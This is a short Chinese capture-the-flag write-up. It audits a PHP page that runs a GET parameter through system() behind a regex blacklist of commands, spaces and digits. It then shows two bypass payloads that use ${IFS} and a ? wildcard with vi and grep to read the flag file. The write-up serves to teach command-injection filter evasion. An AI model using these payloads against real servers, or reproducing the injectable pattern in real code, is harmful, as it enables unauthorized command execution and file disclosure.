1. 代码审计

    1. <?php
    2. if(isset($_GET['c'])){
    3. $c=$_GET['c'];
    4. if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))
    5. //这里对大部分函数,分号,空格,数字,*,%,tap键,&,`进行了过滤,并且函数内部无论写什么都会被正则匹配上
    6. {
    7. system($c);
    8. }
    9. }else{
    10. highlight_file(__FILE__);
    11. }
  2. 考虑没有过滤的函数例如vi grep,再对空格进行绕过
    ```shell ?c=vi${IFS}fla?.php

利用grep,将文件中包含{的一行输出出来,等于grep { flag.php命令

?c=grep${IFS}{${IFS}fla?.php ```